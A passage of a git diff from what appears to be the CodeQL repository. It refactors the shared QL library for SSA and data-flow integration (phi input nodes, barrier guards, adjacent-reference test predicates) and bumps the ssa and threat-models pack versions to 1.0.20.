-      RelevantDefinitionExt def, SourceVariable v, BasicBlock bb, int i
-    ) {
-      ssaDefReachesReadExt(v, def, bb, i) and
-      not exists(unique(DefinitionExt def0 | ssaDefReachesReadExt(v, def0, bb, i)))
-    }
-
     /** Holds if a read cannot be reached from a definition. */
     query predicate readWithoutDef(SourceVariable v, BasicBlock bb, int i) {
       variableRead(bb, i, v, _) and
       not ssaDefReachesRead(v, _, bb, i)
     }
 
-    /** Holds if a read cannot be reached from a definition. */
-    query predicate readWithoutDefExt(SourceVariable v, BasicBlock bb, int i) {
-      variableRead(bb, i, v, _) and
-      not ssaDefReachesReadExt(v, _, bb, i)
-    }
-
     /** Holds if a definition cannot reach a read. */
-    query predicate deadDef(RelevantDefinition def, SourceVariable v) {
+    query predicate deadDef(Definition def, SourceVariable v) {
       v = def.getSourceVariable() and
       not ssaDefReachesRead(_, def, _, _) and
       not phiHasInputFromBlock(_, def, _) and
       not uncertainWriteDefinitionInput(_, def)
     }
 
-    /** Holds if a definition cannot reach a read. */
-    query predicate deadDefExt(RelevantDefinitionExt def, SourceVariable v) {
-      v = def.getSourceVariable() and
-      not ssaDefReachesReadExt(_, def, _, _) and
-      not phiHasInputFromBlockExt(_, def, _) and
-      not uncertainWriteDefinitionInput(_, def)
-    }
-
     /** Holds if a read is not dominated by a definition. */
-    query predicate notDominatedByDef(RelevantDefinition def, SourceVariable v, BasicBlock bb, int i) {
+    query predicate notDominatedByDef(Definition def, SourceVariable v, BasicBlock bb, int i) {
       exists(BasicBlock bbDef, int iDef | def.definesAt(v, bbDef, iDef) |
         ssaDefReachesReadWithinBlock(v, def, bb, i) and
         (bb != bbDef or i < iDef)
@@ -1420,19 +1381,55 @@ module Make<LocationSig Location, InputSig<Location> Input> {
       )
     }
 
-    /** Holds if a read is not dominated by a definition. */
-    query predicate notDominatedByDefExt(
-      RelevantDefinitionExt def, SourceVariable v, BasicBlock bb, int i
+    /** Holds if the end of a basic block can be reached by multiple definitions. */
+    query predicate nonUniqueDefReachesEndOfBlock(Definition def, SourceVariable v, BasicBlock bb) {
+      ssaDefReachesEndOfBlock(bb, def, v) and
+      not exists(unique(Definition def0 | ssaDefReachesEndOfBlock(bb, def0, v)))
+    }
+
+    /** Holds if a phi node has less than two inputs. */
+    query predicate uselessPhiNode(PhiNode phi, int inputs) {
+      inputs = count(Definition inp | phiHasInputFromBlock(phi, inp, _)) and
+      inputs < 2
+    }
+
+    /** Holds if a certain read does not have a prior reference. */
+    query predicate readWithoutPriorRef(SourceVariable v, BasicBlock bb, int i) {
+      variableRead(bb, i, v, true) and
+      not AdjacentSsaRefs::adjacentRefRead(_, _, bb, i, v)
+    }
+
+    /**
+     * Holds if a certain read has multiple prior references. The introduction
+     * of phi reads should make the prior reference unique.
+     */
+    query predicate readWithMultiplePriorRefs(
+      SourceVariable v, BasicBlock bb1, int i1, BasicBlock bb2, int i2
     ) {
-      exists(BasicBlock bbDef, int iDef | def.definesAt(v, bbDef, iDef, _) |
-        ssaDefReachesReadWithinBlock(v, def, bb, i) and
-        (bb != bbDef or i < iDef)
-        or
-        ssaDefReachesReadExt(v, def, bb, i) and
-        not ssaDefReachesReadWithinBlock(v, def, bb, i) and
-        not def.definesAt(v, getImmediateBasicBlockDominator*(bb), _, _)
+      AdjacentSsaRefs::adjacentRefRead(bb1, i1, bb2, i2, v) and
+      2 <=
+        strictcount(BasicBlock bb0, int i0 | AdjacentSsaRefs::adjacentRefRead(bb0, i0, bb1, i1, v))
+    }
+
+    /** Holds if `phi` has less than 2 immediately prior references. */
+    query predicate phiWithoutTwoPriorRefs(PhiNode phi, int inputRefs) {
+      exists(BasicBlock bbPhi, SourceVariable v |
+        phi.definesAt(v, bbPhi, _) and
+        inputRefs =
+          count(BasicBlock bb, int i | AdjacentSsaRefs::adjacentRefPhi(bb, i, _, bbPhi, v)) and
+        inputRefs < 2
       )
     }
+
+    /**
+     * Holds if the phi read for `v` at `bb` has less than 2 immediately prior
+     * references.
+     */
+    query predicate phiReadWithoutTwoPriorRefs(BasicBlock bbPhi, SourceVariable v, int inputRefs) {
+      synthPhiRead(bbPhi, v) and
+      inputRefs = count(BasicBlock bb, int i | AdjacentSsaRefs::adjacentRefPhi(bb, i, _, bbPhi, v)) and
+      inputRefs < 2
+    }
   }
 
   /** Provides the input to `DataFlowIntegration`. */
@@ -1462,20 +1459,14 @@ module Make<LocationSig Location, InputSig<Location> Input> {
       )
     }
 
-    /** Holds if SSA definition `def` assigns `value` to the underlying variable. */
-    predicate ssaDefAssigns(WriteDefinition def, Expr value);
-
-    /** A parameter. */
-    class Parameter {
-      /** Gets a textual representation of this parameter. */
-      string toString();
-
-      /** Gets the location of this parameter. */
-      Location getLocation();
-    }
-
-    /** Holds if SSA definition `def` initializes parameter `p` at function entry. */
-    predicate ssaDefInitializesParam(WriteDefinition def, Parameter p);
+    /**
+     * Holds if `def` has some form of input flow. For example, the right-hand
+     * side of an assignment or a parameter of an SSA entry definition.
+     *
+     * For such definitions, a flow step is added from a synthetic node
+     * representing the source to the definition.
+     */
+    default predicate ssaDefHasSource(WriteDefinition def) { any() }
 
     /**
      * Holds if flow should be allowed into uncertain SSA definition `def` from
@@ -1488,15 +1479,42 @@ module Make<LocationSig Location, InputSig<Location> Input> {
       /** Gets a textual representation of this guard. */
       string toString();
 
-      /** Holds if the `i`th node of basic block `bb` evaluates this guard. */
-      predicate hasCfgNode(BasicBlock bb, int i);
+      /**
+       * Holds if the control flow branching from `bb1` is dependent on this guard,
+       * and that the edge from `bb1` to `bb2` corresponds to the evaluation of this
+       * guard to `branch`.
+       */
+      predicate controlsBranchEdge(BasicBlock bb1, BasicBlock bb2, boolean branch);
     }
 
+    /** Holds if `guard` directly controls block `bb` upon evaluating to `branch`. */
+    predicate guardDirectlyControlsBlock(Guard guard, BasicBlock bb, boolean branch);
+
     /** Holds if `guard` controls block `bb` upon evaluating to `branch`. */
-    predicate guardControlsBlock(Guard guard, BasicBlock bb, boolean branch);
+    default predicate guardControlsBlock(Guard guard, BasicBlock bb, boolean branch) {
+      guardDirectlyControlsBlock(guard, bb, branch)
+    }
 
-    /** Gets an immediate conditional successor of basic block `bb`, if any. */
-    BasicBlock getAConditionalBasicBlockSuccessor(BasicBlock bb, boolean branch);
+    /**
+     * Holds if `WriteDefinition`s should be included as an intermediate node
+     * between the assigned `Expr` or `Parameter` and the first read of the SSA
+     * definition.
+     */
+    default predicate includeWriteDefsInFlowStep() { any() }
+
+    /**
+     * Holds if barrier guards should be supported on input edges to phi
+     * nodes. Disable this only if barrier guards are not going to be used.
+     */
+    default predicate supportBarrierGuardsOnPhiEdges() { any() }
+
+    /**
+     * Holds if all phi input back edges should be kept in the data flow graph.
+     *
+     * This is ordinarily not necessary and causes the retention of superfluous
+     * nodes.
+     */
+    default predicate keepAllPhiInputBackEdges() { none() }
   }
 
   /**
@@ -1510,9 +1528,9 @@ module Make<LocationSig Location, InputSig<Location> Input> {
 
     final private class DefinitionExtFinal = DefinitionExt;
 
-    /** An SSA definition into which another SSA definition may flow. */
-    private class SsaInputDefinitionExt extends DefinitionExtFinal {
-      SsaInputDefinitionExt() {
+    /** An SSA definition which is either a phi node or a phi read node. */
+    private class SsaPhiExt extends DefinitionExtFinal {
+      SsaPhiExt() {
         this instanceof PhiNode
         or
         this instanceof PhiReadNode
@@ -1520,7 +1538,7 @@ module Make<LocationSig Location, InputSig<Location> Input> {
     }
 
     cached
-    private Definition getAPhiInputDef(SsaInputDefinitionExt phi, BasicBlock bb) {
+    private Definition getAPhiInputDef(SsaPhiExt phi, BasicBlock bb) {
       exists(SourceVariable v, BasicBlock bbDef |
         phi.definesAt(v, bbDef, _, _) and
         getABasicBlockPredecessor(bbDef) = bb and
@@ -1528,22 +1546,123 @@ module Make<LocationSig Location, InputSig<Location> Input> {
       )
     }
 
-    private newtype TNode =
-      TParamNode(DfInput::Parameter p) {
-        exists(WriteDefinition def | DfInput::ssaDefInitializesParam(def, p))
-      } or
-      TExprNode(DfInput::Expr e, Boolean isPost) {
-        e = DfInput::getARead(_)
+    /**
+     * Holds if the phi input edge from `input` to `phi` is a back edge and
+     * must be kept.
+     */
+    private predicate relevantBackEdge(SsaPhiExt phi, BasicBlock input) {
+      exists(BasicBlock bbPhi |
+        DfInput::keepAllPhiInputBackEdges() and
+        exists(getAPhiInputDef(phi, input)) and
+        phi.getBasicBlock() = bbPhi and
+        getImmediateBasicBlockDominator+(input) = bbPhi
+      )
+    }
+
+    /**
+     * Holds if the input to `phi` from the block `input` might be relevant for
+     * barrier guards as a separately synthesized `TSsaInputNode`.
+     *
+     * Note that `TSsaInputNode`s have both unique predecessors and unique
+     * successors, both of which are given by `adjacentRefPhi`, so we can
+     * always skip them in the flow graph without increasing the number of flow
+     * edges, if they are not needed for barrier guards.
+     */
+    private predicate relevantPhiInputNode(SsaPhiExt phi, BasicBlock input) {
+      relevantBackEdge(phi, input)
+      or
+      DfInput::supportBarrierGuardsOnPhiEdges() and
+      // If the input isn't explicitly read then a guard cannot check it.
+      exists(DfInput::getARead(getAPhiInputDef(phi, input))) and
+      (
+        // The input node is relevant either if it sits directly on a branch
+        // edge for a guard,
+        exists(DfInput::Guard g | g.controlsBranchEdge(input, phi.getBasicBlock(), _))
         or
-        exists(DefinitionExt def |
-          DfInput::ssaDefAssigns(def, e) and
-          isPost = false
+        // or if the unique predecessor is not an equivalent substitute in
+        // terms of being controlled by the same guards.
+        // Example:
+        // ```
+        // if (g1) {
+        //   use(x); // A
+        //   if (g2) { .. }
+        //   // no need for an input node here, as the set of guards controlling
+        //   // this block is the same as the set of guards controlling the prior
+        //   // use of `x` at A.
+        // }
+        // // phi-read node for `x`
+        // ```
+        exists(BasicBlock prev |
+          AdjacentSsaRefs::adjacentRefPhi(prev, _, input, phi.getBasicBlock(),
+            phi.getSourceVariable()) and
+          prev != input and
+          exists(DfInput::Guard g, boolean branch |
+            DfInput::guardDirectlyControlsBlock(g, input, branch) and
+            not DfInput::guardDirectlyControlsBlock(g, prev, branch)
+          )
         )
-      } or
-      TSsaDefinitionNode(DefinitionExt def) or
-      TSsaInputNode(SsaInputDefinitionExt phi, BasicBlock input) {
-        exists(getAPhiInputDef(phi, input))
-      }
+      )
+    }
+
+    /**
+     * Holds if a next adjacent use of `phi` is as input to `phi2` through
+     * `input`. The boolean `relevant` indicates whether the input edge might
+     * be relevant for barrier guards.
+     */
+    private predicate phiStepsToPhiInput(
+      SsaPhiExt phi, SsaPhiExt phi2, BasicBlock input, boolean relevant
+    ) {
+      exists(BasicBlock bb1, int i, SourceVariable v, BasicBlock bb2 |
+        phi.definesAt(pragma[only_bind_into](v), bb1, i, _) and
+        AdjacentSsaRefs::adjacentRefPhi(bb1, i, input, bb2, v) and
+        phi2.definesAt(pragma[only_bind_into](v), bb2, _, _) and
+        if relevantPhiInputNode(phi2, input) then relevant = true else relevant = false
+      )
+    }
+
+    /**
+     * Holds if a next adjacent use of `phi` occurs at index `i` in basic block
+     * `bb`. The boolean `isUse` indicates whether the use is a read or an
+     * uncertain write.
+     */
+    private predicate phiStepsToRef(SsaPhiExt phi, BasicBlock bb, int i, boolean isUse) {
+      exists(SourceVariable v, BasicBlock bb1, int i1 |
+        phi.definesAt(v, bb1, i1, _) and
+        AdjacentSsaRefs::adjacentRefRead(bb1, i1, bb, i, v)
+      |
+        isUse = true and
+        variableRead(bb, i, v, true)
+        or
+        isUse = false and
+        exists(UncertainWriteDefinition def2 |
+          DfInput::allowFlowIntoUncertainDef(def2) and
+          def2.definesAt(v, bb, i)
+        )
+      )
+    }
+
+    /**
+     * Holds if the next adjacent use of `phi` is unique. In this case, we can
+     * skip the phi in the use-use step relation without increasing the number
+     * flow edges.
+     */
+    private predicate phiHasUniqNextNode(SsaPhiExt phi) {
+      not relevantBackEdge(phi, _) and
+      exists(int nextPhiInput, int nextPhi, int nextRef |
+        1 = nextPhiInput + nextPhi + nextRef and
+        nextPhiInput =
+          count(SsaPhiExt phi2, BasicBlock input | phiStepsToPhiInput(phi, phi2, input, true)) and
+        nextPhi = count(SsaPhiExt phi2 | phiStepsToPhiInput(phi, phi2, _, false)) and
+        nextRef = count(BasicBlock bb, int i, boolean isUse | phiStepsToRef(phi, bb, i, isUse))
+      )
+    }
+
+    cached
+    private newtype TNode =
+      TWriteDefSource(WriteDefinition def) { DfInput::ssaDefHasSource(def) } or
+      TExprNode(DfInput::Expr e, Boolean isPost) { e = DfInput::getARead(_) } or
+      TSsaDefinitionNode(DefinitionExt def) { not phiHasUniqNextNode(def) } or
+      TSsaInputNode(SsaPhiExt phi, BasicBlock input) { relevantPhiInputNode(phi, input) }
 
     /**
      * A data flow node that we need to reference in the value step relation.
@@ -1562,21 +1681,21 @@ module Make<LocationSig Location, InputSig<Location> Input> {
 
     final class Node = NodeImpl;
 
-    /** A parameter node. */
-    private class ParameterNodeImpl extends NodeImpl, TParamNode {
-      private DfInput::Parameter p;
+    /** A source of a write definition. */
+    private class WriteDefSourceNodeImpl extends NodeImpl, TWriteDefSource {
+      private WriteDefinition def;
 
-      ParameterNodeImpl() { this = TParamNode(p) }
+      WriteDefSourceNodeImpl() { this = TWriteDefSource(def) }
 
-      /** Gets the underlying parameter. */
-      DfInput::Parameter getParameter() { result = p }
+      /** Gets the underlying definition. */
+      WriteDefinition getDefinition() { result = def }
 
-      override string toString() { result = p.toString() }
+      override string toString() { result = "[source] " + def.toString() }
 
-      override Location getLocation() { result = p.getLocation() }
+      override Location getLocation() { result = def.getLocation() }
     }
 
-    final class ParameterNode = ParameterNodeImpl;
+    final class WriteDefSourceNode = WriteDefSourceNodeImpl;
 
     /** A (post-update) expression node. */
     abstract private class ExprNodePreOrPostImpl extends NodeImpl, TExprNode {
@@ -1644,7 +1763,7 @@ module Make<LocationSig Location, InputSig<Location> Input> {
     /** A synthesized SSA data flow node. */
     abstract private class SsaNodeImpl extends NodeImpl {
       /** Gets the underlying SSA definition. */
-      abstract DefinitionExt getDefinitionExt();
+      abstract deprecated DefinitionExt getDefinitionExt();
 
       /** Gets the SSA definition this node corresponds to, if any. */
       Definition asDefinition() { this = TSsaDefinitionNode(result) }
@@ -1652,6 +1771,13 @@ module Make<LocationSig Location, InputSig<Location> Input> {
       /** Gets the basic block to which this node belongs. */
       abstract BasicBlock getBasicBlock();
 
+      /**
+       * INTERNAL: Do not use.
+       *
+       * Gets the basic block index of this node.
+       */
+      abstract int getIndex();
+
       /** Gets the underlying source variable that this node tracks flow for. */
       abstract SourceVariable getSourceVariable();
     }
@@ -1664,10 +1790,15 @@ module Make<LocationSig Location, InputSig<Location> Input> {
 
       SsaDefinitionExtNodeImpl() { this = TSsaDefinitionNode(def) }
 
-      override DefinitionExt getDefinitionExt() { result = def }
+      /** Gets the corresponding `DefinitionExt`. */
+      DefinitionExt getDefExt() { result = def }
+
+      deprecated override DefinitionExt getDefinitionExt() { result = def }
 
       override BasicBlock getBasicBlock() { result = def.getBasicBlock() }
 
+      override int getIndex() { def.definesAt(_, _, result, _) }
+
       override SourceVariable getSourceVariable() { result = def.getSourceVariable() }
 
       override Location getLocation() { result = def.getLocation() }
@@ -1692,7 +1823,7 @@ module Make<LocationSig Location, InputSig<Location> Input> {
     /** A node that represents a synthetic read of a source variable. */
     final class SsaSynthReadNode extends SsaNode {
       SsaSynthReadNode() {
-        this.(SsaDefinitionExtNodeImpl).getDefinitionExt() instanceof PhiReadNode or
+        this.(SsaDefinitionExtNodeImpl).getDefExt() instanceof PhiReadNode or
         this instanceof SsaInputNodeImpl
       }
     }
@@ -1733,7 +1864,7 @@ module Make<LocationSig Location, InputSig<Location> Input> {
      * both inputs into the phi read node after the outer condition are guarded.
      */
     private class SsaInputNodeImpl extends SsaNodeImpl, TSsaInputNode {
-      private SsaInputDefinitionExt def_;
+      private SsaPhiExt def_;
       private BasicBlock input_;
 
       SsaInputNodeImpl() { this = TSsaInputNode(def_, input_) }
@@ -1744,10 +1875,14 @@ module Make<LocationSig Location, InputSig<Location> Input> {
         input = input_
       }
 
-      override SsaInputDefinitionExt getDefinitionExt() { result = def_ }
+      SsaPhiExt getPhi() { result = def_ }
+
+      deprecated override SsaPhiExt getDefinitionExt() { result = def_ }
 
       override BasicBlock getBasicBlock() { result = input_ }
 
+      override int getIndex() { result = input_.length() }
+
       override SourceVariable getSourceVariable() { result = def_.getSourceVariable() }
 
       override Location getLocation() { result = input_.getNode(input_.length() - 1).getLocation() }
@@ -1761,87 +1896,117 @@ module Make<LocationSig Location, InputSig<Location> Input> {
      * Holds if `nodeFrom` corresponds to the reference to `v` at index `i` in
      * `bb`. The boolean `isUseStep` indicates whether `nodeFrom` is an actual
      * read. If it is false then `nodeFrom` may be any of the following: an
-     * uncertain write, a certain write, a phi, or a phi read. `def` is the SSA
-     * definition that is read/defined at `nodeFrom`.
+     * uncertain write, a certain write, a phi, or a phi read.
      */
     private predicate flowOutOf(
-      DefinitionExt def, Node nodeFrom, SourceVariable v, BasicBlock bb, int i, boolean isUseStep
+      Node nodeFrom, SourceVariable v, BasicBlock bb, int i, boolean isUseStep
     ) {
-      nodeFrom.(SsaDefinitionExtNodeImpl).getDefinitionExt() = def and
-      def.definesAt(v, bb, i, _) and
-      isUseStep = false
+      exists(DefinitionExt def |
+        nodeFrom.(SsaDefinitionExtNodeImpl).getDefExt() = def and
+        def.definesAt(v, bb, i, _) and
+        isUseStep = false and
+        if DfInput::includeWriteDefsInFlowStep()
+        then any()
+        else (
+          def instanceof PhiNode or
+          def instanceof PhiReadNode or
+          DfInput::allowFlowIntoUncertainDef(def)
+        )
+      )
       or
-      ssaDefReachesReadExt(v, def, bb, i) and
       [nodeFrom, nodeFrom.(ExprPostUpdateNode).getPreUpdateNode()].(ReadNode).readsAt(bb, i, v) and
       isUseStep = true
     }
 
-    /**
-     * Holds if there is a local flow step from `nodeFrom` to `nodeTo`.
-     *
-     * `isUseStep` is `true` when `nodeFrom` is a (post-update) read node and
-     * `nodeTo` is a read node or phi (read) node.
-     */
-    predicate localFlowStep(DefinitionExt def, Node nodeFrom, Node nodeTo, boolean isUseStep) {
-      (
-        // Flow from assignment into SSA definition
-        DfInput::ssaDefAssigns(def, nodeFrom.(ExprNode).getExpr())
-        or
-        // Flow from parameter into entry definition
-        DfInput::ssaDefInitializesParam(def, nodeFrom.(ParameterNode).getParameter())
-      ) and
-      nodeTo.(SsaDefinitionExtNodeImpl).getDefinitionExt() = def and
-      isUseStep = false
-      or
+    private predicate flowFromRefToNode(SourceVariable v, BasicBlock bb1, int i1, Node nodeTo) {
       // Flow from definition/read to next read
-      exists(SourceVariable v, BasicBlock bb1, int i1, BasicBlock bb2, int i2 |
-        flowOutOf(def, nodeFrom, v, bb1, i1, isUseStep) and
+      exists(BasicBlock bb2, int i2 |
         AdjacentSsaRefs::adjacentRefRead(bb1, i1, bb2, i2, v) and
         nodeTo.(ReadNode).readsAt(bb2, i2, v)
       )
       or
       // Flow from definition/read to next uncertain write
-      exists(SourceVariable v, BasicBlock bb1, int i1, BasicBlock bb2, int i2 |
-        flowOutOf(def, nodeFrom, v, bb1, i1, isUseStep) and
+      exists(BasicBlock bb2, int i2 |
         AdjacentSsaRefs::adjacentRefRead(bb1, i1, bb2, i2, v) and
         exists(UncertainWriteDefinition def2 |
           DfInput::allowFlowIntoUncertainDef(def2) and
-          nodeTo.(SsaDefinitionExtNodeImpl).getDefinitionExt() = def2 and
+          nodeTo.(SsaDefinitionNode).getDefinition() = def2 and
           def2.definesAt(v, bb2, i2)
         )
       )
       or
       // Flow from definition/read to phi input
-      exists(
-        SourceVariable v, BasicBlock bb, int i, BasicBlock input, BasicBlock bbPhi,
-        DefinitionExt phi
-      |
-        flowOutOf(def, nodeFrom, v, bb, i, isUseStep) and
-        AdjacentSsaRefs::adjacentRefPhi(bb, i, input, bbPhi, v) and
-        nodeTo = TSsaInputNode(phi, input) and
+      exists(BasicBlock input, BasicBlock bbPhi, DefinitionExt phi |
+        AdjacentSsaRefs::adjacentRefPhi(bb1, i1, input, bbPhi, v) and
         phi.definesAt(v, bbPhi, -1, _)
+      |
+        if relevantPhiInputNode(phi, input)
+        then nodeTo = TSsaInputNode(phi, input)
+        else flowIntoPhi(phi, v, bbPhi, nodeTo)
+      )
+    }
+
+    private predicate flowIntoPhi(DefinitionExt phi, SourceVariable v, BasicBlock bbPhi, Node nodeTo) {
+      phi.definesAt(v, bbPhi, -1, _) and
+      if phiHasUniqNextNode(phi)
+      then flowFromRefToNode(v, bbPhi, -1, nodeTo)
+      else nodeTo.(SsaDefinitionExtNodeImpl).getDefExt() = phi
+    }
+
+    /**
+     * Holds if there is a local flow step from `nodeFrom` to `nodeTo`.
+     *
+     * `isUseStep` is `true` when `nodeFrom` is a (post-update) read node and
+     * `nodeTo` is a read node or phi (read) node.
+     */
+    predicate localFlowStep(SourceVariable v, Node nodeFrom, Node nodeTo, boolean isUseStep) {
+      exists(Definition def |
+        // Flow from write definition source into SSA definition
+        nodeFrom = TWriteDefSource(def) and
+        isUseStep = false and
+        if DfInput::includeWriteDefsInFlowStep()
+        then
+          nodeTo.(SsaDefinitionNode).getDefinition() = def and
+          v = def.getSourceVariable()
+        else
+          exists(BasicBlock bb1, int i1 |
+            def.definesAt(v, bb1, i1) and
+            flowFromRefToNode(v, bb1, i1, nodeTo)
+          )
+      )
+      or
+      exists(BasicBlock bb1, int i1 |
+        flowOutOf(nodeFrom, v, bb1, i1, isUseStep) and
+        flowFromRefToNode(v, bb1, i1, nodeTo) and
+        nodeFrom != nodeTo
       )
       or
       // Flow from input node to def
-      nodeTo.(SsaDefinitionExtNodeImpl).getDefinitionExt() = def and
-      def = nodeFrom.(SsaInputNodeImpl).getDefinitionExt() and
-      isUseStep = false
+      exists(DefinitionExt phi |
+        phi = nodeFrom.(SsaInputNodeImpl).getPhi() and
+        isUseStep = false and
+        nodeFrom != nodeTo and
+        flowIntoPhi(phi, v, _, nodeTo)
+      )
     }
 
     /** Holds if the value of `nodeTo` is given by `nodeFrom`. */
-    predicate localMustFlowStep(DefinitionExt def, Node nodeFrom, Node nodeTo) {
-      (
-        // Flow from assignment into SSA definition
-        DfInput::ssaDefAssigns(def, nodeFrom.(ExprNode).getExpr())
-        or
-        // Flow from parameter into entry definition
-        DfInput::ssaDefInitializesParam(def, nodeFrom.(ParameterNode).getParameter())
-      ) and
-      nodeTo.(SsaDefinitionExtNodeImpl).getDefinitionExt() = def
+    predicate localMustFlowStep(SourceVariable v, Node nodeFrom, Node nodeTo) {
+      exists(Definition def |
+        // Flow from write definition source into SSA definition
+        nodeFrom = TWriteDefSource(def) and
+        v = def.getSourceVariable() and
+        if DfInput::includeWriteDefsInFlowStep()
+        then nodeTo.(SsaDefinitionNode).getDefinition() = def
+        else nodeTo.(ExprNode).getExpr() = DfInput::getARead(def)
+      )
       or
       // Flow from SSA definition to read
-      nodeFrom.(SsaDefinitionExtNodeImpl).getDefinitionExt() = def and
-      nodeTo.(ExprNode).getExpr() = DfInput::getARead(def)
+      exists(DefinitionExt def |
+        nodeFrom.(SsaDefinitionExtNodeImpl).getDefExt() = def and
+        nodeTo.(ExprNode).getExpr() = DfInput::getARead(def) and
+        v = def.getSourceVariable()
+      )
     }
 
     /**
@@ -1855,7 +2020,7 @@ module Make<LocationSig Location, InputSig<Location> Input> {
 
     pragma[nomagic]
     private Definition getAPhiInputDef(SsaInputNodeImpl n) {
-      exists(SsaInputDefinitionExt phi, BasicBlock bb |
+      exists(SsaPhiExt phi, BasicBlock bb |
         result = getAPhiInputDef(phi, bb) and
         n.isInputInto(phi, bb)
       )
@@ -1876,6 +2041,14 @@ module Make<LocationSig Location, InputSig<Location> Input> {
       signature predicate guardChecksSig(
         DfInput::Guard g, DfInput::Expr e, boolean branch, State state
       );
+
+      /**
+       * Holds if the guard `g` validates the SSA definition `def` upon
+       * evaluating to `branch`, blocking flow in the given `state`.
+       */
+      signature predicate guardChecksDefSig(
+        DfInput::Guard g, Definition def, boolean branch, State state
+      );
     }
 
     /**
@@ -1912,6 +2085,20 @@ module Make<LocationSig Location, InputSig<Location> Input> {
         guardChecks(g, DfInput::getARead(def), branch, state)
       }
 
+      private module Barrier = BarrierGuardDefWithState<State, guardChecksSsaDef/4>;
+
+      predicate getABarrierNode = Barrier::getABarrierNode/1;
+    }
+
+    /**
+     * Provides a set of barrier nodes for a guard that validates an expression.
+     *
+     * This is expected to be used in `isBarrier`/`isSanitizer` definitions
+     * in data flow and taint tracking.
+     */
+    module BarrierGuardDefWithState<
+      StateSig State, WithState<State>::guardChecksDefSig/4 guardChecksSsaDef>
+    {
       /** Gets a node that is safely guarded by the given guard check. */
       pragma[nomagic]
       Node getABarrierNode(State state) {
@@ -1927,20 +2114,98 @@ module Make<LocationSig Location, InputSig<Location> Input> {
           )
           or
           // guard controls input block to a phi node
-          exists(SsaInputDefinitionExt phi |
+          exists(SsaPhiExt phi |
             def = getAPhiInputDef(result) and
             result.(SsaInputNodeImpl).isInputInto(phi, bb)
           |
             DfInput::guardControlsBlock(g, bb, branch)
             or
-            exists(int last |
-              last = bb.length() - 1 and
-              g.hasCfgNode(bb, last) and
-              DfInput::getAConditionalBasicBlockSuccessor(bb, branch) = phi.getBasicBlock()
-            )
+            g.controlsBranchEdge(bb, phi.getBasicBlock(), branch)
           )
         )
       }
     }
   }
+
+  /**
+   * Provides query predicates for testing adjacent SSA references and
+   * insertion of phi reads.
+   */
+  module TestAdjacentRefs {
+    private newtype TRef =
+      TRefRead(BasicBlock bb, int i, SourceVariable v) { variableRead(bb, i, v, true) } or
+      TRefDef(Definition def) or
+      TRefPhiRead(BasicBlock bb, SourceVariable v) { synthPhiRead(bb, v) }
+
+    /**
+     * An SSA reference. This is either a certain read, a definition, or a
+     * synthesized phi read.
+     */
+    class Ref extends TRef {
+      /** Gets the source variable referenced by this reference. */
+      SourceVariable getSourceVariable() {
+        this = TRefRead(_, _, result)
+        or
+        exists(Definition def | this = TRefDef(def) and def.getSourceVariable() = result)
+        or
+        this = TRefPhiRead(_, result)
+      }
+
+      /** Holds if this reference is a synthesized phi read. */
+      predicate isPhiRead() { this = TRefPhiRead(_, _) }
+
+      /** Gets a textual representation of this SSA reference. */
+      string toString() {
+        this = TRefRead(_, _, _) and result = "SSA read(" + this.getSourceVariable() + ")"
+        or
+        exists(Definition def | this = TRefDef(def) and result = def.toString())
+        or
+        this = TRefPhiRead(_, _) and result = "SSA phi read(" + this.getSourceVariable() + ")"
+      }
+
+      /** Gets the location of this SSA reference. */
+      Location getLocation() {
+        exists(BasicBlock bb, int i |
+          this = TRefRead(bb, i, _) and bb.getNode(i).getLocation() = result
+        )
+        or
+        exists(Definition def | this = TRefDef(def) and def.getLocation() = result)
+        or
+        exists(BasicBlock bb | this = TRefPhiRead(bb, _) and bb.getLocation() = result)
+      }
+
+      /** Holds if this reference of `v` occurs in `bb` at index `i`. */
+      predicate accessAt(BasicBlock bb, int i, SourceVariable v) {
+        this = TRefRead(bb, i, v)
+        or
+        exists(Definition def | this = TRefDef(def) and def.definesAt(v, bb, i))
+        or
+        this = TRefPhiRead(bb, v) and i = -1
+      }
+    }
+
+    /**
+     * Holds if `r2` is a certain read or uncertain write, and `r1` is the
+     * unique prior reference.
+     */
+    query predicate adjacentRefRead(Ref r1, Ref r2) {
+      exists(BasicBlock bb1, int i1, BasicBlock bb2, int i2, SourceVariable v |
+        r1.accessAt(bb1, i1, v) and
+        r2.accessAt(bb2, i2, v) and
+        AdjacentSsaRefs::adjacentRefRead(bb1, i1, bb2, i2, v)
+      )
+    }
+
+    /**
+     * Holds if `phi` is a phi definition or phi read and `input` is one its
+     * inputs without any other reference in-between.
+     */
+    query predicate adjacentRefPhi(Ref input, Ref phi) {
+      exists(BasicBlock bb, int i, BasicBlock bbPhi, SourceVariable v |
+        input.accessAt(bb, i, v) and
+        phi.accessAt(bbPhi, -1, v) and
+        AdjacentSsaRefs::adjacentRefPhi(bb, i, _, bbPhi, v)
+      )
+    }
+  }
 }
diff --git a/shared/ssa/qlpack.yml b/shared/ssa/qlpack.yml
index 13e87f179264..0945748a4cd5 100644
--- a/shared/ssa/qlpack.yml
+++ b/shared/ssa/qlpack.yml
@@ -1,5 +1,5 @@
 name: codeql/ssa
-version: 1.0.19
+version: 1.0.20
 groups: shared
 library: true
 dependencies:
diff --git a/shared/threat-models/CHANGELOG.md b/shared/threat-models/CHANGELOG.md
index 72016e3f662f..b20db0162311 100644
--- a/shared/threat-models/CHANGELOG.md
+++ b/shared/threat-models/CHANGELOG.md
@@ -1,3 +1,7 @@
+## 1.0.20
+
+No user-facing changes.
+
 ## 1.0.19
 
 No user-facing changes.
diff --git a/shared/threat-models/change-notes/released/1.0.20.md b/shared/threat-models/change-notes/released/1.0.20.md
new file mode 100644
index 000000000000..5fc76269ab27
--- /dev/null
+++ b/shared/threat-models/change-notes/released/1.0.20.md
@@ -0,0 +1,3 @@
+## 1.0.20
+
+No user-facing changes.
diff --git a/shared/threat-models/codeql-pack.release.yml b/shared/threat-models/codeql-pack.release.yml
index e15e0d267b0a..7af2d1347ffc 100644
--- a/shared/threat-models/codeql-pack.release.yml
+++ b/shared/threat-models/codeql-pack.release.yml
@@ -1,2 +1,2 @@
 ---
-lastReleaseVersion: 1.0.19
+lastReleaseVersion: 1.0.20
diff --git a/shared/threat-models/qlpack.yml b/shared/threat-models/qlpack.yml
index 005dce853f74..6458fce2229b 100644
--- a/shared/threat-models/qlpack.yml
+++ b/shared/threat-models/qlpack.yml
@@ -1,5 +1,5 @@
 name: codeql/threat-models
-version: 1.0.19
+version: 1.0.20
 library: true
 groups: shared
 dataExtensions:
diff --git a/shared/tree-sitter-extractor/Cargo.toml b/shared/tree-sitter-extractor/Cargo.toml
